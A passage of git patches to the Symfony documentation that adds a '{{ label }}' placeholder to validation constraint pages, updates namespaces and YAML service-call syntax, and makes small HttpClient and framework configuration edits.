+    by corresponding form field label (in view of ``label_format`` option).
+
 Accessing Form Errors
 ~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/forms.rst b/forms.rst
index 02336d32169..9ab6b2101ab 100644
--- a/forms.rst
+++ b/forms.rst
@@ -548,6 +548,11 @@ corresponding errors printed out with the form. Read the
 :doc:`Symfony validation documentation </validation>` to learn more about this
 powerful feature.
 
+.. versionadded:: 5.2
+
+    Constraint message can contains ``{{ label }}`` placeholder that will be replaced
+    by corresponding form field label (in view of ``label_format`` option).
+
 Other Common Form Features
 --------------------------
 
diff --git a/reference/constraints/Blank.rst b/reference/constraints/Blank.rst
index 5f0c6191fc1..8a5ba13671a 100644
--- a/reference/constraints/Blank.rst
+++ b/reference/constraints/Blank.rst
@@ -102,6 +102,11 @@ You can use the following parameters in this message:
 Parameter        Description
 ===============  ==============================================================
 ``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+.. versionadded:: 5.2
+
+    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
+
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/CardScheme.rst b/reference/constraints/CardScheme.rst
index 6adfe62d893..64d6157e2c8 100644
--- a/reference/constraints/CardScheme.rst
+++ b/reference/constraints/CardScheme.rst
@@ -112,8 +112,13 @@ You can use the following parameters in this message:
 Parameter        Description
 ===============  ==============================================================
 ``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+.. versionadded:: 5.2
+
+    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
+
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 schemes
diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index 707bfd11bc5..fd8481d6152 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -392,6 +392,11 @@ You can use the following parameters in this message:
 Parameter        Description
 ===============  ==============================================================
 ``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+.. versionadded:: 5.2
+
+    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
+
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/Currency.rst b/reference/constraints/Currency.rst
index 901a989010b..651af1b1a92 100644
--- a/reference/constraints/Currency.rst
+++ b/reference/constraints/Currency.rst
@@ -94,8 +94,13 @@ You can use the following parameters in this message:
 Parameter        Description
 ===============  ==============================================================
 ``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+.. versionadded:: 5.2
+
+    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
+
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 .. _`3-letter ISO 4217`: https://en.wikipedia.org/wiki/ISO_4217
diff --git a/reference/constraints/Date.rst b/reference/constraints/Date.rst
index db55de84dd6..4b1e99c3ed1 100644
--- a/reference/constraints/Date.rst
+++ b/reference/constraints/Date.rst
@@ -98,6 +98,11 @@ You can use the following parameters in this message:
 Parameter        Description
 ===============  ==============================================================
 ``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+.. versionadded:: 5.2
+
+    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
+
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/DateTime.rst b/reference/constraints/DateTime.rst
index 41b4db2acc0..582f93aeac8 100644
--- a/reference/constraints/DateTime.rst
+++ b/reference/constraints/DateTime.rst
@@ -107,6 +107,11 @@ You can use the following parameters in this message:
 Parameter        Description
 ===============  ==============================================================
 ``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+.. versionadded:: 5.2
+
+    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
+
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index ce8d428858a..468051004a0 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -101,8 +101,13 @@ You can use the following parameters in this message:
 Parameter        Description
 ===============  ==============================================================
 ``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+.. versionadded:: 5.2
+
+    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
+
 mode
 ~~~~
 
diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index f3af00f1d3a..2ed816f3a03 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -260,8 +260,13 @@ You can use the following parameters in this message:
 Parameter        Description
 ===============  ==============================================================
 ``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+.. versionadded:: 5.2
+
+    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
+
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 values
diff --git a/reference/constraints/Hostname.rst b/reference/constraints/Hostname.rst
index 4cbe606ccb4..9e67fb3c8fc 100644
--- a/reference/constraints/Hostname.rst
+++ b/reference/constraints/Hostname.rst
@@ -110,8 +110,13 @@ You can use the following parameters in this message:
 Parameter        Description
 ===============  ==============================================================
 ``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+.. versionadded:: 5.2
+
+    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
+
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 ``requireTld``
diff --git a/reference/constraints/Iban.rst b/reference/constraints/Iban.rst
index aa3caeb67f8..709270f7b12 100644
--- a/reference/constraints/Iban.rst
+++ b/reference/constraints/Iban.rst
@@ -108,8 +108,13 @@ You can use the following parameters in this message:
 Parameter        Description
 ===============  ==============================================================
 ``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+.. versionadded:: 5.2
+
+    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
+
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 .. _`International Bank Account Number (IBAN)`: https://en.wikipedia.org/wiki/International_Bank_Account_Number
diff --git a/reference/constraints/Ip.rst b/reference/constraints/Ip.rst
index 60865c024bc..9d744d54c09 100644
--- a/reference/constraints/Ip.rst
+++ b/reference/constraints/Ip.rst
@@ -95,8 +95,13 @@ You can use the following parameters in this message:
 Parameter        Description
 ===============  ==============================================================
 ``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+.. versionadded:: 5.2
+
+    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
+
 .. include:: /reference/constraints/_normalizer-option.rst.inc
 
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/IsFalse.rst b/reference/constraints/IsFalse.rst
index 861072a1250..17881aa9a75 100644
--- a/reference/constraints/IsFalse.rst
+++ b/reference/constraints/IsFalse.rst
@@ -125,6 +125,11 @@ You can use the following parameters in this message:
 Parameter        Description
 ===============  ==============================================================
 ``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+.. versionadded:: 5.2
+
+    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
+
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/IsNull.rst b/reference/constraints/IsNull.rst
index 2bded13311d..252c23d934b 100644
--- a/reference/constraints/IsNull.rst
+++ b/reference/constraints/IsNull.rst
@@ -96,6 +96,11 @@ You can use the following parameters in this message:
 Parameter        Description
 ===============  ==============================================================
 ``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+.. versionadded:: 5.2
+
+    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
+
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/IsTrue.rst b/reference/constraints/IsTrue.rst
index 2066b6d4e73..2698ad233e9 100644
--- a/reference/constraints/IsTrue.rst
+++ b/reference/constraints/IsTrue.rst
@@ -129,6 +129,11 @@ You can use the following parameters in this message:
 Parameter        Description
 ===============  ==============================================================
 ``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+.. versionadded:: 5.2
+
+    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
+
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/Isbn.rst b/reference/constraints/Isbn.rst
index d2ad1e2c909..e30d4e96040 100644
--- a/reference/constraints/Isbn.rst
+++ b/reference/constraints/Isbn.rst
@@ -109,8 +109,13 @@ You can use the following parameters in this message:
 Parameter        Description
 ===============  ==============================================================
 ``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+.. versionadded:: 5.2
+
+    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
+
 .. include:: /reference/constraints/_groups-option.rst.inc
 
 isbn10Message
@@ -127,8 +132,13 @@ You can use the following parameters in this message:
 Parameter        Description
 ===============  ==============================================================
 ``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+.. versionadded:: 5.2
+
+    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
+
 isbn13Message
 ~~~~~~~~~~~~~
 
@@ -143,8 +153,13 @@ You can use the following parameters in this message:
 Parameter        Description
 ===============  ==============================================================
 ``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+.. versionadded:: 5.2
+
+    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
+
 message
 ~~~~~~~
 
@@ -159,8 +174,13 @@ You can use the following parameters in this message:
 Parameter        Description
 ===============  ==============================================================
 ``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+.. versionadded:: 5.2
+
+    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
+
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 type
diff --git a/reference/constraints/Isin.rst b/reference/constraints/Isin.rst
index 86c1c3a3973..c646f33a53a 100644
--- a/reference/constraints/Isin.rst
+++ b/reference/constraints/Isin.rst
@@ -92,8 +92,13 @@ You can use the following parameters in this message:
 Parameter        Description
 ===============  ==============================================================
 ``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+.. versionadded:: 5.2
+
+    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
+
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 .. _`International Securities Identification Number (ISIN)`: https://en.wikipedia.org/wiki/International_Securities_Identification_Number
diff --git a/reference/constraints/Issn.rst b/reference/constraints/Issn.rst
index 374cc7d2751..6cc5734aaa2 100644
--- a/reference/constraints/Issn.rst
+++ b/reference/constraints/Issn.rst
@@ -102,8 +102,13 @@ You can use the following parameters in this message:
 Parameter        Description
 ===============  ==============================================================
 ``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+.. versionadded:: 5.2
+
+    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
+
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 requireHyphen
diff --git a/reference/constraints/Language.rst b/reference/constraints/Language.rst
index 7d58491c416..dac3e2819db 100644
--- a/reference/constraints/Language.rst
+++ b/reference/constraints/Language.rst
@@ -106,8 +106,13 @@ You can use the following parameters in this message:
 Parameter        Description
 ===============  ==============================================================
 ``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+.. versionadded:: 5.2
+
+    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
+
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 .. _`ISO 639-1`: https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
diff --git a/reference/constraints/Locale.rst b/reference/constraints/Locale.rst
index dbdf0905df5..f5f381629e3 100644
--- a/reference/constraints/Locale.rst
+++ b/reference/constraints/Locale.rst
@@ -107,8 +107,13 @@ You can use the following parameters in this message:
 Parameter        Description
 ===============  ==============================================================
 ``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+.. versionadded:: 5.2
+
+    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
+
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 .. _`ICU format locale IDs`: http://userguide.icu-project.org/locale
diff --git a/reference/constraints/Luhn.rst b/reference/constraints/Luhn.rst
index 6d322349da4..2bee41d5f2c 100644
--- a/reference/constraints/Luhn.rst
+++ b/reference/constraints/Luhn.rst
@@ -101,8 +101,13 @@ You can use the following parameters in this message:
 Parameter        Description
 ===============  ==============================================================
 ``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+.. versionadded:: 5.2
+
+    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
+
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 .. _`Luhn algorithm`: https://en.wikipedia.org/wiki/Luhn_algorithm
diff --git a/reference/constraints/NotBlank.rst b/reference/constraints/NotBlank.rst
index c3c16f21eae..f5711e001c3 100644
--- a/reference/constraints/NotBlank.rst
+++ b/reference/constraints/NotBlank.rst
@@ -105,8 +105,13 @@ You can use the following parameters in this message:
 Parameter        Description
 ===============  ==============================================================
 ``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+.. versionadded:: 5.2
+
+    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
+
 .. include:: /reference/constraints/_normalizer-option.rst.inc
 
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/NotNull.rst b/reference/constraints/NotNull.rst
index 2c548b2eb3e..56d088c4cba 100644
--- a/reference/constraints/NotNull.rst
+++ b/reference/constraints/NotNull.rst
@@ -94,6 +94,11 @@ You can use the following parameters in this message:
 Parameter        Description
 ===============  ==============================================================
 ``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+.. versionadded:: 5.2
+
+    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
+
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/Range.rst b/reference/constraints/Range.rst
index 6e7fc8d7f86..4470d26eb07 100644
--- a/reference/constraints/Range.rst
+++ b/reference/constraints/Range.rst
@@ -330,8 +330,13 @@ You can use the following parameters in this message:
 Parameter        Description
 ===============  ==============================================================
 ``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+.. versionadded:: 5.2
+
+    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
+
 max
 ~~~
 
diff --git a/reference/constraints/Regex.rst b/reference/constraints/Regex.rst
index d7e3c8f2ebd..642a1fc180d 100644
--- a/reference/constraints/Regex.rst
+++ b/reference/constraints/Regex.rst
@@ -275,8 +275,13 @@ You can use the following parameters in this message:
 Parameter        Description
 ===============  ==============================================================
 ``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+.. versionadded:: 5.2
+
+    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
+
 pattern
 ~~~~~~~
 
diff --git a/reference/constraints/Time.rst b/reference/constraints/Time.rst
index a8e362d22dc..e94613e1f6f 100644
--- a/reference/constraints/Time.rst
+++ b/reference/constraints/Time.rst
@@ -101,6 +101,11 @@ You can use the following parameters in this message:
 Parameter        Description
 ===============  ==============================================================
 ``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+.. versionadded:: 5.2
+
+    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
+
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/Timezone.rst b/reference/constraints/Timezone.rst
index 045c258bda4..98ca73c156a 100644
--- a/reference/constraints/Timezone.rst
+++ b/reference/constraints/Timezone.rst
@@ -123,8 +123,13 @@ You can use the following parameters in this message:
 Parameter        Description
 ===============  ==============================================================
 ``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+.. versionadded:: 5.2
+
+    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
+
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 zone
diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index 209520c41c7..1962dffa284 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -162,8 +162,13 @@ Parameter        Description
 ===============  ==============================================================
 ``{{ type }}``   The expected type
 ``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+.. versionadded:: 5.2
+
+    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
+
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 .. _reference-constraint-type-type:
diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index e6e449d949b..2bf2533f57e 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -291,8 +291,13 @@ You can use the following parameters in this message:
 Parameter        Description
 ===============  ==============================================================
 ``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+.. versionadded:: 5.2
+
+    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
+
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 repositoryMethod
diff --git a/reference/constraints/Url.rst b/reference/constraints/Url.rst
index fdc58880797..5f4ac23245f 100644
--- a/reference/constraints/Url.rst
+++ b/reference/constraints/Url.rst
@@ -98,8 +98,13 @@ You can use the following parameters in this message:
 Parameter        Description
 ===============  ==============================================================
 ``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+.. versionadded:: 5.2
+
+    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
+
 .. configuration-block::
 
     .. code-block:: php-annotations
diff --git a/reference/constraints/Uuid.rst b/reference/constraints/Uuid.rst
index 4406555ac30..6e9794b8b5d 100644
--- a/reference/constraints/Uuid.rst
+++ b/reference/constraints/Uuid.rst
@@ -97,8 +97,13 @@ You can use the following parameters in this message:
 Parameter        Description
 ===============  ==============================================================
 ``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+.. versionadded:: 5.2
+
+    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
+
 .. include:: /reference/constraints/_normalizer-option.rst.inc
 
 .. include:: /reference/constraints/_payload-option.rst.inc

From 070450bdd76cae5151b9f98ce70debc0d0e01f91 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 3 Sep 2020 17:57:19 +0200
Subject: [PATCH 1073/7107] Removed some unneeded versionadded directives

---
 components/form.rst | 5 -----
 forms.rst           | 5 -----
 2 files changed, 10 deletions(-)

diff --git a/components/form.rst b/components/form.rst
index cdcf9ee54a8..7ac59478ceb 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -728,11 +728,6 @@ and the errors will display next to the fields on error.
     For a list of all of the built-in validation constraints, see
     :doc:`/reference/constraints`.
 
-.. versionadded:: 5.2
-
-    Constraint message can contains ``{{ label }}`` placeholder that will be replaced
-    by corresponding form field label (in view of ``label_format`` option).
-
 Accessing Form Errors
 ~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/forms.rst b/forms.rst
index 9ab6b2101ab..02336d32169 100644
--- a/forms.rst
+++ b/forms.rst
@@ -548,11 +548,6 @@ corresponding errors printed out with the form. Read the
 :doc:`Symfony validation documentation </validation>` to learn more about this
 powerful feature.
 
-.. versionadded:: 5.2
-
-    Constraint message can contains ``{{ label }}`` placeholder that will be replaced
-    by corresponding form field label (in view of ``label_format`` option).
-
 Other Common Form Features
 --------------------------
 

From 8afdf41a6ed1f4dbc53091fe4b0a3deeb517e4d9 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Thu, 3 Sep 2020 18:28:37 +0200
Subject: [PATCH 1074/7107] Update voters.rst

---
 security/voters.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/security/voters.rst b/security/voters.rst
index c52053be6ef..061e0c86fd6 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -13,9 +13,10 @@ However, if you don't reuse permissions or your rules are basic, you can always
 put that logic directly into your controller instead. Here's an example how
 this could look like, if you want to make a route accessible to the "owner" only::
 
-    // src/AppBundle/Controller/PostController.php
+    // src/Controller/PostController.php
     // ...
 
+    // inside your controller action
     if ($post->getOwner() !== $this->getUser()) {
         throw $this->createAccessDeniedException();
     }

From 7aaf9370faa056c42260ecc1ced05f7229113ef1 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Thu, 3 Sep 2020 18:53:32 +0200
Subject: [PATCH 1075/7107] Update security.rst

---
 reference/configuration/security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index b552ddc9495..9c7f5da8755 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -162,7 +162,7 @@ encoding algorithm. Also, each algorithm defines different config options:
                     threads:      4     # Number of parallel threads
 
                 # MessageDigestPasswordEncoder encoder using SHA512 hashing with default options
-                AppBundle\Entity\User: 'sha512'
+                App\Entity\User: 'sha512'
 
     .. code-block:: xml
 

From 49eca770720d7029b223dabd08474c8aca4efc6b Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Mon, 31 Aug 2020 11:39:07 +0200
Subject: [PATCH 1076/7107] Remove paragraph about mapping override

Because this solution only works if the bundle relies on auto_mapping. IMHO a bundle should add mapping via the dedicated compiler pass and not rely on the application configuration (`auto_mapping: true` in this case).
---
 bundles/override.rst | 9 ++-------
 1 file changed, 2 insertions(+), 7 deletions(-)

diff --git a/bundles/override.rst b/bundles/override.rst
index e90db9b9315..628464d8349 100644
--- a/bundles/override.rst
+++ b/bundles/override.rst
@@ -53,13 +53,8 @@ inside a :doc:`compiler pass </service_container/compiler_passes>`.
 Entities & Entity Mapping
 -------------------------
 
-If a bundle defines its entity mapping in configuration files instead of
-annotations, you can override them as any other regular bundle configuration
-file. The only caveat is that you must override all those mapping configuration
-files and not just the ones you actually want to override.
-
-If a bundle provides a mapped superclass (such as the ``User`` entity in the
-FOSUserBundle) you can override its attributes and associations. Learn more
+Entity mapping can only be overridden if a bundle provides a mapped superclass (such as the ``User`` entity in the
+FOSUserBundle). It's possible to override attributes and associations in this way. Learn more
 about this feature and its limitations in `the Doctrine documentation`_.
 
 Forms

From c9a6c9c6ce1fa02fc0654ae256655cd699935d1d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Paris?= <postmaster@greg0ire.fr>
Date: Thu, 3 Sep 2020 22:46:27 +0200
Subject: [PATCH 1077/7107] Migrate Yaml config for DI calls to new syntax

From https://symfony.com/blog/new-in-symfony-4-4-dependency-injection-improvements-part-2

> [It is] more concise, and easier to read/write.
---
 components/dependency_injection.rst         |  2 +-
 service_container/calls.rst                 |  2 +-
 service_container/injection_types.rst       |  4 ++--
 service_container/optional_dependencies.rst |  2 +-
 service_container/parent_services.rst       |  2 +-
 session/database.rst                        | 12 +++++-------
 6 files changed, 11 insertions(+), 13 deletions(-)

diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index 0d842e9c415..486f89e599d 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -259,7 +259,7 @@ config files:
             newsletter_manager:
                 class:     NewsletterManager
                 calls:
-                    - [setMailer, ['@mailer']]
+                    - setMailer: ['@mailer']
 
     .. code-block:: xml
 
diff --git a/service_container/calls.rst b/service_container/calls.rst
index 46f25456400..c3797cb8917 100644
--- a/service_container/calls.rst
+++ b/service_container/calls.rst
@@ -40,7 +40,7 @@ To configure the container to call the ``setLogger`` method, use the ``calls`` k
             App\Service\MessageGenerator:
                 # ...
                 calls:
-                    - [setLogger, ['@logger']]
+                    - setLogger: ['@logger']
 
     .. code-block:: xml
 
diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index 77098c0b9fb..983d2311b49 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -150,7 +150,7 @@ In order to use this type of injection, don't forget to configure it:
             app.newsletter_manager:
                 class: App\Mail\NewsletterManager
                 calls:
-                    - [withMailer, ['@mailer'], true]
+                    - withMailer: !returns_clone ['@mailer']
 
     .. code-block:: xml
 
@@ -244,7 +244,7 @@ that accepts the dependency::
             app.newsletter_manager:
                 class: App\Mail\NewsletterManager
                 calls:
-                    - [setMailer, ['@mailer']]
+                    - setMailer: ['@mailer']
 
     .. code-block:: xml
 
diff --git a/service_container/optional_dependencies.rst b/service_container/optional_dependencies.rst
index 3593934c5c3..ca702176341 100644
--- a/service_container/optional_dependencies.rst
+++ b/service_container/optional_dependencies.rst
@@ -68,7 +68,7 @@ call if the service exists and remove the method call if it does not:
         services:
             App\Newsletter\NewsletterManager:
                 calls:
-                    - [setLogger, ['@?logger']]
+                    - setLogger: ['@?logger']
 
     .. code-block:: xml
 
diff --git a/service_container/parent_services.rst b/service_container/parent_services.rst
index ee04e377238..2e2202f7d71 100644
--- a/service_container/parent_services.rst
+++ b/service_container/parent_services.rst
@@ -72,7 +72,7 @@ duplicated service definitions:
                 abstract:  true
                 arguments: ['@doctrine.orm.entity_manager']
                 calls:
-                    - [setLogger, ['@logger']]
+                    - setLogger: ['@logger']
 
             App\Repository\DoctrineUserRepository:
                 # extend the App\Repository\BaseDoctrineRepository service
diff --git a/session/database.rst b/session/database.rst
index 9e2777efc24..8766ab9f2a8 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -30,15 +30,13 @@ First, define a Symfony service for the connection to the Redis server:
                 # you can also use \RedisArray, \RedisCluster or \Predis\Client classes
                 class: Redis
                 calls:
-                    - method: connect
-                      arguments:
-                          - '%env(REDIS_HOST)%'
-                          - '%env(int:REDIS_PORT)%'
+                    - connect:
+                        - '%env(REDIS_HOST)%'
+                        - '%env(int:REDIS_PORT)%'
 
                     # uncomment the following if your Redis server requires a password
-                    # - method: auth
-                    #   arguments:
-                    #       - '%env(REDIS_PASSWORD)%'
+                    # - auth:
+                    #     - '%env(REDIS_PASSWORD)%'
 
     .. code-block:: xml
 

From 9db664a7ac66ef856e09907d16090932daf7bfe6 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 4 Sep 2020 14:02:31 +0200
Subject: [PATCH 1078/7107] Update framework.rst

Just moved this to the right place (alphabetical)
---
 reference/configuration/framework.rst | 24 ++++++++++++------------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 456fd5298a4..8b2265466b2 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -900,6 +900,18 @@ local_pk
 The path of a file that contains the `PEM formatted`_ private key of the
 certificate defined in the ``local_cert`` option.
 
+max_duration
+............
+
+**type**: ``float`` **default**: 0
+
+The maximum execution time, in seconds, that the request and the response are
+allowed to take. A value lower than or equal to 0 means it is unlimited.
+
+.. versionadded:: 4.4
+
+    The ``max_duration`` option was introduced in Symfony 4.4.
+
 max_host_connections
 ....................
 
@@ -996,18 +1008,6 @@ Time, in seconds, to wait for a response. If the response stales for longer, a
 Its default value is the same as the value of PHP's `default_socket_timeout`_
 config option.
 
-max_duration
-............
-
-**type**: ``float`` **default**: 0
-
-The maximum execution time, in seconds, that the request and the response are
-allowed to take. A value lower than or equal to 0 means it is unlimited.
-
-.. versionadded:: 4.4
-
-    The ``max_duration`` option was introduced in Symfony 4.4.
-
 verify_host
 ...........
 

From d601255d44d7f807be656e535bb2a86f18a1bb2d Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 4 Sep 2020 15:13:14 +0200
Subject: [PATCH 1079/7107] Update http_client.rst

Added `$formData->bodyToString()`, see https://github.com/symfony/symfony/issues/34951#issuecomment-687129171
---
 http_client.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 4932e7d5106..50f76b14b8b 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -631,6 +631,15 @@ according to the ``multipart/form-data`` content-type. The
         'body' => $formData->bodyToIterable(),
     ]);
 
+HttpClient will stream the upload of the body by default. This might not work with all
+servers, resulting in HTTP status code 411 ("Length Required") cause there is no
+``Content-Length`` header. In this case, just turn the body into a string::
+
+    $client->request('POST', 'https://...', [
+        // ...
+        'body' => $formData->bodyToString(),
+    ]);
+
 Cookies
 ~~~~~~~
 

From e77422eb64875200755d2ead0c72df6b9c014401 Mon Sep 17 00:00:00 2001
From: Kevin <ksteinmetz@officesupply.com>
Date: Fri, 4 Sep 2020 11:00:06 -0500
Subject: [PATCH 1080/7107] Update service_subscribers_locators.rst

Added the missing use statement, even though Symfony is nice enough to give the missing use statement on a silver platter.
I did not check versions going forward in the documentation.
```
  Fatal error: Uncaught Symfony\Component\Debug\Exception\ClassNotFoundException: Attempted to load class "Reference" from namespace "DealExpress\ApiBundle\DependencyInjection\Compiler".
  Did you forget a "use" statement for e.g. "Google_Service_Compute_Reference", "phpDocumentor\Reflection\DocBlock\Tags\Reference\Reference", "Symfony\Component\DependencyInjection\Reference" or "Symfony\Component\Validator\Tests\Fixtures\Reference"?
```
---
 service_container/service_subscribers_locators.rst | 3 ++-
